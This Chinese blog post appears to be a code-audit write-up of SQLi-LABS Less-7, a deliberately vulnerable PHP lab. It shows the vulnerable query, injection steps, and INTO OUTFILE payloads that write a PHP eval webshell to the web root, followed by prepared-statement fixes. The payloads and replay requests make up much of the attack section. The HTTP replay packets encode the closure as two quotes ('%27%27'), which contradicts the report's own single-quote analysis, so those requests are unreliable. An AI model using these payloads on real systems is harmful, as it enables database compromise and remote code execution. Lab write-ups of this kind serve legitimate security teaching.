sqli-labs-Less-7-代码审计报告

13次阅读
没有评论

Less-7 代码审计报告:GET 双引号/括号 + INTO OUTFILE 写文件

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-7/index.php 实际文件一致。


1. 关卡概述

项目 内容
关卡名称 Less-7: Dump into Outfile
源码路径 Less-7/index.php
漏洞类型 SQL 注入 – UNION + INTO OUTFILE 写文件(错误信息硬编码不回显真实报错)
注入点参数 GET /sqli-labs/Less-7/?id=
报错/盲注 错误信息为硬编码字符串,不回显真实报错,不显示数据
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x + MySQL secure_file_priv 允许写目录

2. 漏洞代码定位

文件: Less-7/index.php

// 第 20-22 行:直接取 GET 参数
if(isset($_GET['id']))
{
$id=$_GET['id'];

// 第 31 行:WHERE id=(('$id')),双层括号包裹单引号
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);

// 第 35-41 行:成功只显示固定文案
if($row)
{
  echo '<font color= "#FFFF00">';
  echo 'You are in.... Use outfile......';
  echo "<br>";
  echo "</font>";
}
// 第 42-48 行:失败显示硬编码错误,print_r(mysql_error()) 被注释
else 
{
echo '<font color= "#FFFF00">';
echo 'You have an error in your SQL syntax';
//print_r(mysql_error());     ← 第 46 行:真实报错被注释,不回显
echo "</font>";  
}

关键漏洞点:

  • 第 22 行:$id=$_GET['id']; 未过滤。
  • 第 31 行:WHERE id=(('$id')) —— 闭合需 '))。
  • 第 46 行:print_r(mysql_error()); 被注释,真实错误不回显(所以联合查询/报错注入都拿不到信息,只能用写文件或盲注判断)。

3. 漏洞分析

  • 输入来源:$_GET['id'],未过滤。
  • SQL 拼接位置:WHERE id=(('$id')) LIMIT 0,1,双层括号 + 单引号,闭合字符串为 '))。
  • 是否回显:成功仅显示固定文案;失败显示硬编码 "You have an error in your SQL syntax",不显示真实 mysql_error()。因此:
    • UNION 查询结果不可见;
    • 报错注入不可用;
    • 本关核心目标是利用 UNION SELECT ... INTO OUTFILE 把查询结果写入服务器文件。
  • 前提条件:
    • MySQL 用户需有 FILE 权限;
    • secure_file_priv 未限制或允许写入目标目录(如 /tmp);
    • Web 目录可写时可写 WebShell 实现 RCE。

4. 利用方式

步骤一:判断注入点

?id=1'     → 显示硬编码错误(不区分真实原因)
?id=1'))   → 正常显示 "You are in.... Use outfile......"

通过回显差异(固定文案出现与否)确认闭合为 '))。

步骤二:判断列数

?id=1')) ORDER BY 3-- -

正常显示 → 3 列。

?id=1')) ORDER BY 4-- -

硬编码错误 → 共 3 列。

步骤三:写文件(核心 Payload)

-- 将查询结果写入 /tmp/less7.txt
1')) union select 1,2,3 into outfile '/tmp/less7.txt'-- -
-- 写 WebShell(若 Web 目录可写,如 /var/www/html/ 或靶场目录)
1')) union select 1,2,'<?php @eval($_POST[x]);?>' into outfile '/var/www/html/shell.php'-- -

预期结果:

  • 页面无报错差异(成功/失败都显示固定文案),但可到服务器检查 /tmp/less7.txt 内容为 1 2 3;
  • 若写 WebShell 成功,可用蚁剑/菜刀连接。

步骤四:进阶

  • 写入前先用 INTO OUTFILE 测试目标目录可写性;
  • 若 secure_file_priv=NULL 则任何路径都不可写,需确认 MySQL 配置:
    SELECT @@global.secure_file_priv;
    

5. Yakit 重放数据包

GET /sqli-labs/Less-7/?id=1%27%27))%20union%20select%201,2,3%20into%20outfile%20%27/tmp/less7.txt%27--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

说明:%27='、%27%27=''(两个单引号)、%20=空格、%29=)、/tmp/less7.txt 中的单引号编码为 %27、--%20-=-- -。

写 WebShell 报文示例(按实际 Web 绝对路径调整):

GET /sqli-labs/Less-7/?id=1%27%27))%20union%20select%201,2,%27%3C%3Fphp%20%40eval(%24_POST%5Bx%5D)%3B%3F%3E%27%20into%20outfile%20%27/var/www/html/shell.php%27--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close


6. 修复建议

修复一(首选):PDO 预处理语句

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理语句

<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

修复三:输入校验 + 最小权限(针对写文件类攻击)

  • 强制整型校验:if (!ctype_digit($_GET['id'])) { die('Invalid ID'); }。
  • 禁止 FILE 权限:数据库账号不授予 FILE 权限,INTO OUTFILE 无法执行。
  • 设置 secure_file_priv 为特定目录或空字符串限制导出;Web 目录禁止写权限。
  • 关闭 display_errors,错误写日志;升级 PHP 7+ / 8+,移除 mysql_* 扩展。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前需:导入 sql-lab.sql、配置 sql-connections/db-creds.inc、使用支持 mysql_* 的 PHP 5.x 环境;INTO OUTFILE 需 MySQL FILE 权限且 secure_file_priv 允许。
正文完
 0